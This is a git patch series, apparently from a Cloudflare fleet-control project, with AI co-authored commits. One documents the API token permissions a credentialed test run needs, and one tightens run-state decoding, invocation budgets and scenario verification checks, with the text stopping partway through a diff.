4da50a4b3144edb6e337c461185b2ab44fc21378 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 12 Sep 2026 04:19:38 +0400 Subject: [PATCH 133/169] docs(fleet-control): name the account permissions the credentialed token needs The gate uploads Workers and drives D1 and R2 with this token, so the zone-scoped permissions it listed cannot complete a run. Co-Authored-By: Claude Opus 5 --- docs/fleet-control.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/fleet-control.md b/docs/fleet-control.md index aa991724..9ef524d5 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -455,7 +455,7 @@ The runner starts the FlowSafe run and observes its pending WebSocket update on Set these environment variables: - `CLOUDFLARE_ACCOUNT_ID` -- `CLOUDFLARE_API_TOKEN` with API Tokens Read, Zone Read, Workers Routes Read, and Workers Routes Write for every zone in the account +- `CLOUDFLARE_API_TOKEN` with API Tokens Read, Zone Read, Workers Routes Read, and Workers Routes Write for every zone in the account, plus account-scoped Workers Scripts Edit and D1 Edit, and Workers R2 Storage Edit when application R2 is enabled. [Security threat model](security-threat-model.md) lists the route families the client calls with this token. - `FLEET_CONFORMANCE_CONFIG` - `FLEET_MAINTENANCE_CAPABILITY_PRIVATE_JWK` containing the fleet-private Ed25519 signing JWK - `FLEET_STATE_EGRESS_ROOT_SECRET` containing the shared state-egress derivation secret From 0f90bf7bc5e37599942b0886a0276d536b0d9e29 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 12 Sep 2026 12:56:40 +0400 Subject: [PATCH 134/169] fix(fleet-control): close the direct scenario review findings Build every bounded journal array at module load, where a missing or unusable maximum now refuses the module; name the deployment-version maximum and refuse a provisioned deployment whose version list exceeds it before the proof is written. Add `decommission-recovery` to the operation slot vocabulary, bound the operation list by that vocabulary's own length, and refuse a control read repeating a slot. Declare the failure-detail vocabulary, accept an optional detail on the persisted failure and the outcome, keep the first persisted failure instead of overwriting it, and re-raise its detail on resume. Refuse a scenario version the decoder does not implement with a named code, and publish the scenario through the snapshot decoder. Credit the invocation gate with no more than the current phase's own reserve against the suffix sum it holds back, and validate the phase, the phase-call map and the remaining count. Refuse a candidate deployment whose version count does not match the expected traffic weights. Move the footprint, interruption-witness and interrupted-item checks into the pure checks module, dropping the digest-shape assertion the preceding comparison makes unreachable, and un-export the cleanup receipt preimage. Declare the phase list as the budget's own keys, so a test rather than the tuple type holds its order. Pin that order, each shared array maximum, the journal field order and the slot vocabulary against the reference Worker's union with tests; widen the maximal scenario to the safe-integer maximum; gate the harness's Node-side provider REST emulation behind `nodeProviderRest` and pin both sides of that gate; extract the application probe emulator and drop an unused fixture option. Trim the budget header and the test titles to what the code enforces. Co-Authored-By: Claude Fable 5.1 --- .../direct-credentialed-run-state.d.mts | 11 +- .../scripts/direct-credentialed-run-state.mjs | 170 ++++--- .../direct-credentialed-scenario-budget.d.mts | 52 +- .../direct-credentialed-scenario-budget.mjs | 7 +- .../direct-credentialed-scenario-checks.d.mts | 101 ++++ .../direct-credentialed-scenario-checks.mjs | 116 ++++- .../direct-credentialed-scenario.d.mts | 42 +- .../scripts/direct-credentialed-scenario.mjs | 138 ++--- .../scripts/direct-reference-receipt.d.mts | 4 - .../scripts/direct-reference-receipt.mjs | 2 +- .../direct-credentialed-run-state.test.ts | 214 ++++++-- ...irect-credentialed-scenario-checks.test.ts | 478 +++++++++++++++++- .../test/direct-credentialed-scenario.test.ts | 194 ++++++- ...direct-credentialed-tenant.harness.test.ts | 26 + .../test/fixtures/direct-reference-harness.ts | 350 ++++++------- .../test/fixtures/direct-run-state-builder.ts | 67 ++- 16 files changed, 1492 insertions(+), 480 deletions(-) diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 02527524..28bf3681 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -11,7 +11,8 @@ export type DirectRunStateErrorCode = | 'run-missing' | 'lock-unavailable' | 'outcome-unknown' - | 'invocation-budget-exhausted'; + | 'invocation-budget-exhausted' + | 'unsupported-scenario-version'; export class DirectRunStateError extends Error { readonly code: DirectRunStateErrorCode; @@ -150,6 +151,12 @@ export const DIRECT_SCENARIO_FAILURES: readonly [ 'blocked', ]; +export const DIRECT_SCENARIO_FAILURE_DETAILS: readonly [ + 'phase-ceiling', + 'run-reserve', + 'below-scenario-floor', +]; + export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [ 'inventory-before', 'inventory-after', @@ -162,6 +169,7 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [ 'cleanup-recovery-initial', 'decommission-a', 'decommission-b', + 'decommission-recovery', ]; export const DIRECT_RUN_MAX_JOURNAL_BYTES: number; @@ -172,6 +180,7 @@ export const DIRECT_SCENARIO_ARRAY_MAXIMA: Readonly<{ exportVerifications: number; auditFindings: number; footprintVersionIds: number; + deploymentVersions: number; inventory: Readonly<{ databaseIds: number; namespaceIds: number; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index b6ddedc0..bae6cc9b 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -20,6 +20,7 @@ const ERROR_CODES = new Set([ 'lock-unavailable', 'outcome-unknown', 'invocation-budget-exhausted', + 'unsupported-scenario-version', ]); const SUMMARY_FIELDS = [ 'kind', @@ -37,6 +38,7 @@ export const DIRECT_SCENARIO_ARRAY_MAXIMA = Object.freeze({ exportVerifications: 16, auditFindings: 16, footprintVersionIds: 8, + deploymentVersions: 2, inventory: Object.freeze({ databaseIds: 2, namespaceIds: 4, @@ -270,6 +272,12 @@ export const DIRECT_SCENARIO_FAILURES = Object.freeze([ 'blocked', ]); +export const DIRECT_SCENARIO_FAILURE_DETAILS = Object.freeze([ + 'phase-ceiling', + 'run-reserve', + 'below-scenario-floor', +]); + export const DIRECT_SCENARIO_OPERATION_SLOTS = Object.freeze([ 'inventory-before', 'inventory-after', @@ -282,6 +290,7 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS = Object.freeze([ 'cleanup-recovery-initial', 'decommission-a', 'decommission-b', + 'decommission-recovery', ]); const scenarioNumber = (value) => { @@ -301,9 +310,12 @@ const scenarioEnum = }; const nullable = (schema) => (value) => value === null ? null : scenarioShape(value, schema); -const boundedArray = (schema, max) => (value) => { - if (!Array.isArray(value) || value.length > max) invalid(); - return Object.freeze(value.map((entry) => scenarioShape(entry, schema))); +const boundedArray = (schema, max) => { + if (!Number.isSafeInteger(max) || max < 0) invalid(); + return (value) => { + if (!Array.isArray(value) || value.length > max) invalid(); + return Object.freeze(value.map((entry) => scenarioShape(entry, schema))); + }; }; const OPTIONAL = Symbol('optional'); const optional = (schema) => ({ [OPTIONAL]: schema }); @@ -391,7 +403,7 @@ const workerVersionShape = { return value; }, }, - 2, + DIRECT_SCENARIO_ARRAY_MAXIMA.deploymentVersions, ), }, trafficPercentage: scenarioEnum(0, 100), @@ -587,7 +599,79 @@ const auditShape = { DIRECT_SCENARIO_ARRAY_MAXIMA.auditFindings, ), }; +const operationsShape = boundedArray( + { + slot: operationSlots, + operationId: nullable(scenarioId), + inputSha256: digest, + tokenRevision: nullable(scenarioNumber), + }, + DIRECT_SCENARIO_OPERATION_SLOTS.length, +); +const recordsShape = boundedArray( + { + role: scenarioRole, + present: scenarioEnum(true, false), + phase: nullable(scenarioId), + desiredSpecDigest: nullable(digest), + pendingSpecDigest: nullable(digest), + artifactVersion: nullable(scenarioId), + pendingArtifactVersion: nullable(scenarioId), + databaseId: nullable(scenarioId), + }, + 3, +); +const healthShape = boundedArray( + { + role: scenarioRole, + release: scenarioEnum('1', '2'), + marker: scenarioEnum('initial', 'next'), + ordinal: scenarioNumber, + }, + DIRECT_SCENARIO_ARRAY_MAXIMA.health, +); +const stepsShape = boundedArray( + { + ordinal: scenarioNumber, + itemOrdinal: scenarioEnum(0, 1), + step: scenarioId, + beforeCursor: scenarioNumber, + afterCursor: scenarioNumber, + provider: scenarioNumber, + maintenance: scenarioNumber, + application: scenarioNumber, + }, + DIRECT_SCENARIO_ARRAY_MAXIMA.steps, +); +const effectsShape = boundedArray( + { + role: normalRole, + tenantTag: scenarioId, + environment: scenarioId, + scriptName: scenarioId, + databaseId: scenarioId, + versionId: scenarioId, + specDigest: digest, + schemaVersion: 2, + settlementKey: digest, + identitySha256: digest, + provenanceSha256: digest, + }, + 2, +); +const exportVerificationsShape = boundedArray( + exportShape, + DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications, +); function decodeScenario(value, invocationCount) { + if ( + value && + typeof value === 'object' && + !Array.isArray(value) && + Object.hasOwn(value, 'version') && + value.version !== 1 + ) + throw new DirectRunStateError('unsupported-scenario-version'); const result = scenarioShape(value, { version: 1, phase: scenarioEnum(...DIRECT_SCENARIO_PHASES), @@ -602,31 +686,12 @@ function decodeScenario(value, invocationCount) { lastCall: nullable(callShape), mutation: nullable(callShape), reconciledOrdinal: scenarioNumber, - operations: boundedArray( - { - slot: operationSlots, - operationId: nullable(scenarioId), - inputSha256: digest, - tokenRevision: nullable(scenarioNumber), - }, - 11, - ), - records: boundedArray( - { - role: scenarioRole, - present: scenarioEnum(true, false), - phase: nullable(scenarioId), - desiredSpecDigest: nullable(digest), - pendingSpecDigest: nullable(digest), - artifactVersion: nullable(scenarioId), - pendingArtifactVersion: nullable(scenarioId), - databaseId: nullable(scenarioId), - }, - 3, - ), + operations: operationsShape, + records: recordsShape, failure: nullable({ code: scenarioEnum(...DIRECT_SCENARIO_FAILURES), ordinal: scenarioNumber, + detail: optional(scenarioEnum(...DIRECT_SCENARIO_FAILURE_DETAILS)), }), proofs: { initial: { @@ -654,15 +719,7 @@ function decodeScenario(value, invocationCount) { beforeOrdinal: nullable(scenarioNumber), afterOrdinal: nullable(scenarioNumber), }, - health: boundedArray( - { - role: scenarioRole, - release: scenarioEnum('1', '2'), - marker: scenarioEnum('initial', 'next'), - ordinal: scenarioNumber, - }, - DIRECT_SCENARIO_ARRAY_MAXIMA.health, - ), + health: healthShape, inventories: { before: nullable(inventoryShape), after: nullable(inventoryShape), @@ -679,41 +736,11 @@ function decodeScenario(value, invocationCount) { itemsSha256: digest, replayOrdinal: nullable(scenarioNumber), }), - steps: boundedArray( - { - ordinal: scenarioNumber, - itemOrdinal: scenarioEnum(0, 1), - step: scenarioId, - beforeCursor: scenarioNumber, - afterCursor: scenarioNumber, - provider: scenarioNumber, - maintenance: scenarioNumber, - application: scenarioNumber, - }, - DIRECT_SCENARIO_ARRAY_MAXIMA.steps, - ), - effects: boundedArray( - { - role: normalRole, - tenantTag: scenarioId, - environment: scenarioId, - scriptName: scenarioId, - databaseId: scenarioId, - versionId: scenarioId, - specDigest: digest, - schemaVersion: 2, - settlementKey: digest, - identitySha256: digest, - provenanceSha256: digest, - }, - 2, - ), + steps: stepsShape, + effects: effectsShape, cleanup: nullable(cleanupShape), exports: { a: nullable(exportShape), b: nullable(exportShape) }, - exportVerifications: boundedArray( - exportShape, - DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications, - ), + exportVerifications: exportVerificationsShape, decommission: { a: nullable(decommissionShape), b: nullable(decommissionShape), @@ -1244,13 +1271,14 @@ function runJournal(directory, directoryHandle, base, lock, initial) { throw error; } }; - const publishBootstrap = async (bootstrap) => { + const publishSnapshot = async (fields) => { const next = await decodeSnapshot( - { ...snapshot, bootstrap }, + { ...snapshot, ...fields }, snapshot.binding, ); await publish(next); }; + const publishBootstrap = (bootstrap) => publishSnapshot({ bootstrap }); const assertSettled = () => { if ( snapshot.lastInvocation?.state === 'pending' || @@ -1340,7 +1368,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { }); } } - await publish(Object.freeze({ ...snapshot, scenario })); + await publishSnapshot({ scenario }); }); }, bindBootstrapContext(context) { diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts index 2250bb55..5f4a4f6f 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts @@ -1,37 +1,35 @@ // SPDX-License-Identifier: Apache-2.0 -export const DIRECT_SCENARIO_PHASES: readonly [ - 'provision-a', - 'provision-b', - 'inventory-before', - 'audit-before', - 'migration-start', - 'migration-interrupt', - 'migration-restart', - 'migration', - 'post-migration', - 'inventory-after', - 'audit-after', - 'failed-recovery', - 'cleanup-recovery', - 'provision-recovery', - 'delete-objects', - 'decommission-a', - 'decommission-b', - 'force-recovery', - 'force-observe', - 'recover-force-residual', - 'complete', -]; - export interface DirectScenarioPhaseBudget { readonly measured: number; readonly ceiling: number; readonly reserve: number; } -export const DIRECT_SCENARIO_INVOCATION_BUDGET: Readonly< - Record<(typeof DIRECT_SCENARIO_PHASES)[number], DirectScenarioPhaseBudget> ->; +export const DIRECT_SCENARIO_INVOCATION_BUDGET: Readonly<{ + 'provision-a': DirectScenarioPhaseBudget; + 'provision-b': DirectScenarioPhaseBudget; + 'inventory-before': DirectScenarioPhaseBudget; + 'audit-before': DirectScenarioPhaseBudget; + 'migration-start': DirectScenarioPhaseBudget; + 'migration-interrupt': DirectScenarioPhaseBudget; + 'migration-restart': DirectScenarioPhaseBudget; + migration: DirectScenarioPhaseBudget; + 'post-migration': DirectScenarioPhaseBudget; + 'inventory-after': DirectScenarioPhaseBudget; + 'audit-after': DirectScenarioPhaseBudget; + 'failed-recovery': DirectScenarioPhaseBudget; + 'cleanup-recovery': DirectScenarioPhaseBudget; + 'provision-recovery': DirectScenarioPhaseBudget; + 'delete-objects': DirectScenarioPhaseBudget; + 'decommission-a': DirectScenarioPhaseBudget; + 'decommission-b': DirectScenarioPhaseBudget; + 'force-recovery': DirectScenarioPhaseBudget; + 'force-observe': DirectScenarioPhaseBudget; + 'recover-force-residual': DirectScenarioPhaseBudget; + complete: DirectScenarioPhaseBudget; +}>; + +export const DIRECT_SCENARIO_PHASES: readonly (keyof typeof DIRECT_SCENARIO_INVOCATION_BUDGET)[]; export const DIRECT_SCENARIO_MIN_INVOCATIONS: number; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs index fb63f4de..32b75e11 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs @@ -5,11 +5,10 @@ // cumulative cap on one phase across resumes, wide enough for re-entries that each // repeat the entry `sync()` and its observation. Ceilings bound a runaway phase and // may sum past the configured budget, because they are a cap and not a reservation. -// `reserve` is 1.25x measured rounded up to a multiple of 4, minimum 4; its suffix -// sum from a phase onward is what the entry gate holds back, so a run that cannot -// finish refuses before it strands provisioned infrastructure. +// `reserve` is 1.25x measured rounded up to a multiple of 4, minimum 4. // DIRECT_SCENARIO_MIN_INVOCATIONS adds the bootstrap control read and resume -// headroom to that total: it is the floor `referenceWorker.maxInvocations` clears. +// headroom to the sum of every `reserve`: it is the floor +// `referenceWorker.maxInvocations` clears. const MEASURED = Object.freeze({ 'provision-a': 10, 'provision-b': 9, diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts index 3b993337..5fde911e 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import type { CleanupTerminalReceipt } from '../src/types.js'; import type { DirectInvocationAttempts } from './direct-credentialed-invocation.mjs'; import type { DirectExpectedWorkerVersion, @@ -59,6 +60,82 @@ export interface DirectScenarioMigrationItem { readonly planCursor: number; } +export interface DirectScenarioInterruptedItem { + readonly status: string; + readonly planCursor: number; + readonly entryRecordDigest: string; + readonly targetSpecDigest: string; +} + +export interface DirectScenarioInterruptionValue { + readonly version: 1; + readonly boundary: 'after-migration-admission'; + readonly slot: 'migration-next'; + readonly operationId: string; + readonly claimJson: string; + readonly returnedTokenJson: string; + readonly item: Readonly<{ + ordinal: 0; + beforeStatus: string; + afterStatus: string; + planCursor: number; + tenantTag: string; + environment: string; + entryRecordDigest: string; + targetSpecDigest: string; + }>; +} + +export interface DirectScenarioInterruption { + readonly value: DirectScenarioInterruptionValue; + readonly claim: unknown; + readonly successor: unknown; +} + +export interface DirectScenarioFootprint { + readonly version: 1; + readonly role: 'recovery'; + readonly beforeIdentitySha256: string; + readonly fleetRecordPresent: false; + readonly deploymentClaimsPresent: false; + readonly database: Readonly<{ + id: string; + expectedName: string; + observedName: null; + }>; + readonly worker: Readonly<{ + scriptName: string; + scriptPresent: boolean; + workersDevEnabled: false | null; + previewUrlsEnabled: false | null; + customDomains: readonly never[]; + zoneRoutes: readonly never[]; + currentSecretNames: readonly never[]; + currentVersionIds: readonly string[] | null; + currentNamespaceIds: readonly string[]; + survivingRecordedNamespaceIds: readonly string[]; + }>; + readonly buckets: readonly Readonly<{ + bindingName: 'PROBE_BUCKET'; + bucketName: string; + jurisdiction: 'default'; + expectedCreationDate: string; + observedCreationDate: string | null; + }>[]; + readonly priorCleanup: Readonly<{ + operationId: string; + observedReceiptSha256: string; + matchesBefore: true; + }>; +} + +export interface DirectScenarioFootprintContext { + readonly resource: DirectWorkerVersionObservation; + readonly databaseName: string; + readonly cleanup: CleanupTerminalReceipt; + readonly versionIdMaximum: number; +} + export interface DirectScenarioSettledCall { readonly ordinal: number; readonly action: DirectRunActionSummary; @@ -118,3 +195,27 @@ export function migrationInterruptSettled( control: Readonly<{ interruption: string | null }>, mutation: DirectScenarioSettledCall | null | undefined, ): boolean; +export function checkInterruptionWitness( + interruption: unknown, + expected: Readonly<{ + operationId: string | null; + tenantTag: string; + environment: string; + }>, +): DirectScenarioInterruption; +export function checkInterruptedItems( + witness: DirectScenarioInterruptionValue, + items: readonly [ + DirectScenarioInterruptedItem, + DirectScenarioInterruptedItem, + ...DirectScenarioInterruptedItem[], + ], +): void; +export function checkFootprint( + observation: unknown, + expected: DirectScenarioFootprintContext & + ( + | Readonly<{ retained: true; force?: null }> + | Readonly<{ retained: false; force: DirectScenarioFootprint }> + ), +): DirectScenarioFootprint; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs index cfaf8f78..d51114a6 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs @@ -6,6 +6,7 @@ import { DIRECT_SCENARIO_INVOCATION_BUDGET, DIRECT_SCENARIO_PHASES, } from './direct-credentialed-scenario-budget.mjs'; +import { directCleanupReceiptDigest } from './direct-reference-receipt.mjs'; export const NORMAL_ROLES = Object.freeze(['a', 'b']); export const SCENARIO_ROLES = Object.freeze([...NORMAL_ROLES, 'recovery']); @@ -49,12 +50,18 @@ export function phaseInvocationReserve(phase) { export function checkInvocationHeadroom(phase, phaseCalls, remaining) { requireFact(remaining > 0, 'invocation-budget-exhausted'); + requireFact(Number.isSafeInteger(remaining), 'invalid-input'); + requireFact( + Object.hasOwn(DIRECT_SCENARIO_INVOCATION_BUDGET, phase), + 'invalid-input', + ); const budget = DIRECT_SCENARIO_INVOCATION_BUDGET[phase]; - requireFact(budget, 'invalid-input'); - const spent = phaseCalls[phase]; + const spent = phaseCalls?.[phase]; + requireFact(Number.isSafeInteger(spent) && spent >= 0, 'invalid-input'); requireFact(spent < budget.ceiling, 'budget-exhausted', 'phase-ceiling'); requireFact( - remaining >= phaseInvocationReserve(phase) - spent, + remaining >= + phaseInvocationReserve(phase) - Math.min(spent, budget.reserve), 'budget-exhausted', 'run-reserve', ); @@ -127,6 +134,11 @@ export function checkItemConvergence(items) { export function checkTrafficDistribution(candidate, previous) { equal(candidate.trafficPercentage, 0); equal(candidate.currentDeployment.activeVersionId, previous.versionId); + const weights = new Map([ + [previous.versionId, 100], + [candidate.versionId, 0], + ]); + equal(candidate.currentDeployment.versions.length, weights.size); equal( new Map( candidate.currentDeployment.versions.map((entry) => [ @@ -134,10 +146,7 @@ export function checkTrafficDistribution(candidate, previous) { entry.percentage, ]), ), - new Map([ - [previous.versionId, 100], - [candidate.versionId, 0], - ]), + weights, ); } @@ -164,3 +173,96 @@ export function migrationInterruptSettled(control, mutation) { ); return true; } + +export function checkInterruptionWitness(interruption, expected) { + const value = parse(interruption); + equal(value.version, 1); + equal(value.boundary, 'after-migration-admission'); + equal(value.slot, 'migration-next'); + equal(value.operationId, expected.operationId); + const claim = parse(value.claimJson); + const successor = parse(value.returnedTokenJson); + equal(claim.operationId, value.operationId); + equal(successor.operationId, value.operationId); + requireFact(successor.revision > claim.revision); + equal(value.item.ordinal, 0); + equal(value.item.beforeStatus, 'pending'); + equal(value.item.afterStatus, 'active'); + equal(value.item.planCursor, 0); + equal(value.item.tenantTag, expected.tenantTag); + equal(value.item.environment, expected.environment); + return { value, claim, successor }; +} + +export function checkInterruptedItems(witness, items) { + equal(items[0].status, 'active'); + equal(items[0].planCursor, 0); + equal(items[0].entryRecordDigest, witness.item.entryRecordDigest); + equal(items[0].targetSpecDigest, witness.item.targetSpecDigest); + equal(items[1].status, 'pending'); +} + +export function checkFootprint(observation, expected) { + const resource = expected.resource; + const retained = expected.retained; + equal(observation.version, 1); + equal(observation.role, 'recovery'); + equal(observation.fleetRecordPresent, false); + equal(observation.deploymentClaimsPresent, false); + equal(observation.database, { + id: resource.databaseId, + expectedName: expected.databaseName, + observedName: null, + }); + const worker = observation.worker; + equal(worker.scriptName, resource.scriptName); + equal(worker.scriptPresent, retained); + requireFact( + worker.workersDevEnabled === false || + (!retained && worker.workersDevEnabled === null), + ); + requireFact( + worker.previewUrlsEnabled === false || + (!retained && worker.previewUrlsEnabled === null), + ); + for (const key of ['customDomains', 'zoneRoutes', 'currentSecretNames']) + equal(worker[key], []); + const namespaces = resource.namespaces + .map((entry) => entry.namespaceId) + .sort(); + equal(worker.currentNamespaceIds, retained ? namespaces : []); + equal(worker.survivingRecordedNamespaceIds, retained ? namespaces : []); + if (retained) + requireFact( + worker.currentVersionIds.includes(resource.versionId) && + worker.currentVersionIds.length <= expected.versionIdMaximum, + ); + else + requireFact( + worker.currentVersionIds === null || + worker.currentVersionIds.length === 0, + ); + equal(observation.buckets, [ + { + bindingName: 'PROBE_BUCKET', + bucketName: resource.bucket.name, + jurisdiction: 'default', + expectedCreationDate: resource.bucket.creationDate, + observedCreationDate: retained ? resource.bucket.creationDate : null, + }, + ]); + equal(observation.priorCleanup.operationId, expected.cleanup.operationId); + equal(observation.priorCleanup.matchesBefore, true); + equal( + observation.priorCleanup.observedReceiptSha256, + directCleanupReceiptDigest(expected.cleanup), + ); + if (!retained) { + equal( + observation.beforeIdentitySha256, + expected.force.beforeIdentitySha256, + ); + equal(observation.priorCleanup, expected.force.priorCleanup); + } + return observation; +} diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts index 44c86346..f96c7a4d 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts @@ -13,11 +13,13 @@ import type { DirectWorkerVersionObservation, } from './direct-credentialed-observations.mjs'; import type { + DIRECT_SCENARIO_FAILURE_DETAILS, DIRECT_SCENARIO_FAILURES, DirectRunActionSummary, DirectRunJournal, } from './direct-credentialed-run-state.mjs'; import type { + DirectScenarioFootprint, DirectScenarioNormalRole, DirectScenarioOperationFacts, DirectScenarioPhase, @@ -31,6 +33,8 @@ type NormalRole = DirectScenarioNormalRole; export type { DirectScenarioOperationSlot } from './direct-credentialed-scenario-checks.mjs'; export type { DirectScenarioPhase }; export type DirectScenarioFailure = (typeof DIRECT_SCENARIO_FAILURES)[number]; +export type DirectScenarioFailureDetail = + (typeof DIRECT_SCENARIO_FAILURE_DETAILS)[number]; interface ScenarioCall { readonly ordinal: number; readonly action: DirectRunActionSummary; @@ -52,42 +56,6 @@ interface ScenarioProcess { readonly startTicks: string; readonly bootId: string; } -export interface DirectScenarioFootprint { - readonly version: 1; - readonly role: 'recovery'; - readonly beforeIdentitySha256: string; - readonly fleetRecordPresent: false; - readonly deploymentClaimsPresent: false; - readonly database: Readonly<{ - id: string; - expectedName: string; - observedName: null; - }>; - readonly worker: Readonly<{ - scriptName: string; - scriptPresent: boolean; - workersDevEnabled: false | null; - previewUrlsEnabled: false | null; - customDomains: readonly never[]; - zoneRoutes: readonly never[]; - currentSecretNames: readonly never[]; - currentVersionIds: readonly string[] | null; - currentNamespaceIds: readonly string[]; - survivingRecordedNamespaceIds: readonly string[]; - }>; - readonly buckets: readonly Readonly<{ - bindingName: 'PROBE_BUCKET'; - bucketName: string; - jurisdiction: 'default'; - expectedCreationDate: string; - observedCreationDate: string | null; - }>[]; - readonly priorCleanup: Readonly<{ - operationId: string; - observedReceiptSha256: string; - matchesBefore: true; - }>; -} interface ScenarioInventory { readonly operationId: string; readonly generation: number; @@ -194,6 +162,7 @@ export interface DirectScenarioState { readonly failure: Readonly<{ code: DirectScenarioFailure; ordinal: number; + detail?: DirectScenarioFailureDetail; }> | null; readonly proofs: DirectScenarioProofs; } @@ -209,6 +178,7 @@ export type DirectScenarioOutcome = | Readonly<{ status: 'failed'; reason: DirectScenarioFailure; + detail?: DirectScenarioFailureDetail; phase: DirectScenarioPhase | null; invocationCount: number; }>; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs index 3e2c9c6f..8665cbaa 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -11,6 +11,7 @@ import { import { actionSummary, DIRECT_SCENARIO_ARRAY_MAXIMA, + DIRECT_SCENARIO_FAILURE_DETAILS, DIRECT_SCENARIO_FAILURES, DirectRunStateError, } from './direct-credentialed-run-state.mjs'; @@ -20,6 +21,9 @@ import { } from './direct-credentialed-scenario-budget.mjs'; import { changedBy, + checkFootprint, + checkInterruptedItems, + checkInterruptionWitness, checkInvocationHeadroom, checkItemConvergence, checkTrafficDistribution, @@ -38,12 +42,12 @@ import { zeroAttempts, } from './direct-credentialed-scenario-checks.mjs'; import { DIRECT_TENANT_OBJECT_BODY } from './direct-credentialed-tenant-object.mjs'; -import { directCleanupReceiptDigest } from './direct-reference-receipt.mjs'; const busy = new WeakSet(); const objectDigest = hash(DIRECT_TENANT_OBJECT_BODY); const objectSize = Buffer.byteLength(DIRECT_TENANT_OBJECT_BODY); const failureCodes = new Set(DIRECT_SCENARIO_FAILURES); +const failureDetails = new Set(DIRECT_SCENARIO_FAILURE_DETAILS); async function processIdentity() { const stat = await readFile('/proc/self/stat', 'utf8'); @@ -195,6 +199,9 @@ export async function runDirectCredentialedScenario(input) { : state.mutation?.action, ); const operations = fresh.operations.map(operationFacts); + requireFact( + new Set(operations.map((entry) => entry.slot)).size === operations.length, + ); for (const known of state.operations) { const remote = operations.find((entry) => entry.slot === known.slot); requireFact(remote); @@ -322,6 +329,10 @@ export async function runDirectCredentialedScenario(input) { if (!state.proofs.initial[role]) { const observation = await observe(role, '1'); equal(observation.trafficPercentage, 100); + requireFact( + observation.currentDeployment.versions.length <= + DIRECT_SCENARIO_ARRAY_MAXIMA.deploymentVersions, + ); state.proofs.initial[role] = observation; await persist(); } @@ -461,29 +472,14 @@ export async function runDirectCredentialedScenario(input) { return page.items; }; const interruption = async () => { - const value = parse(control.interruption); - equal(value.version, 1); - equal(value.boundary, 'after-migration-admission'); - equal(value.slot, 'migration-next'); - equal(value.operationId, slot('migration-next').operationId); - const claim = parse(value.claimJson); - const successor = parse(value.returnedTokenJson); - equal(claim.operationId, value.operationId); - equal(successor.operationId, value.operationId); - requireFact(successor.revision > claim.revision); - equal(value.item.ordinal, 0); - equal(value.item.beforeStatus, 'pending'); - equal(value.item.afterStatus, 'active'); - equal(value.item.planCursor, 0); - equal(value.item.tenantTag, prepared.names.roles.a.tenantTag); - equal(value.item.environment, prepared.config.environment); + const witness = checkInterruptionWitness(control.interruption, { + operationId: slot('migration-next').operationId, + tenantTag: prepared.names.roles.a.tenantTag, + environment: prepared.config.environment, + }); const current = await items(); - equal(current[0].status, 'active'); - equal(current[0].planCursor, 0); - equal(current[0].entryRecordDigest, value.item.entryRecordDigest); - equal(current[0].targetSpecDigest, value.item.targetSpecDigest); - equal(current[1].status, 'pending'); - return { value, claim, successor, current }; + checkInterruptedItems(witness.value, current); + return { ...witness, current }; }; const migration = async () => { for (;;) { @@ -680,73 +676,14 @@ export async function runDirectCredentialedScenario(input) { await persist(); await advancePhase(); }; - const checkFootprint = (value, retained) => { - const resource = state.proofs.initial.recovery; - equal(value.version, 1); - equal(value.role, 'recovery'); - equal(value.fleetRecordPresent, false); - equal(value.deploymentClaimsPresent, false); - equal(value.database, { - id: resource.databaseId, - expectedName: prepared.names.roles.recovery.databaseName, - observedName: null, - }); - const worker = value.worker; - equal(worker.scriptName, resource.scriptName); - equal(worker.scriptPresent, retained); - requireFact( - worker.workersDevEnabled === false || - (!retained && worker.workersDevEnabled === null), - ); - requireFact( - worker.previewUrlsEnabled === false || - (!retained && worker.previewUrlsEnabled === null), - ); - for (const key of ['customDomains', 'zoneRoutes', 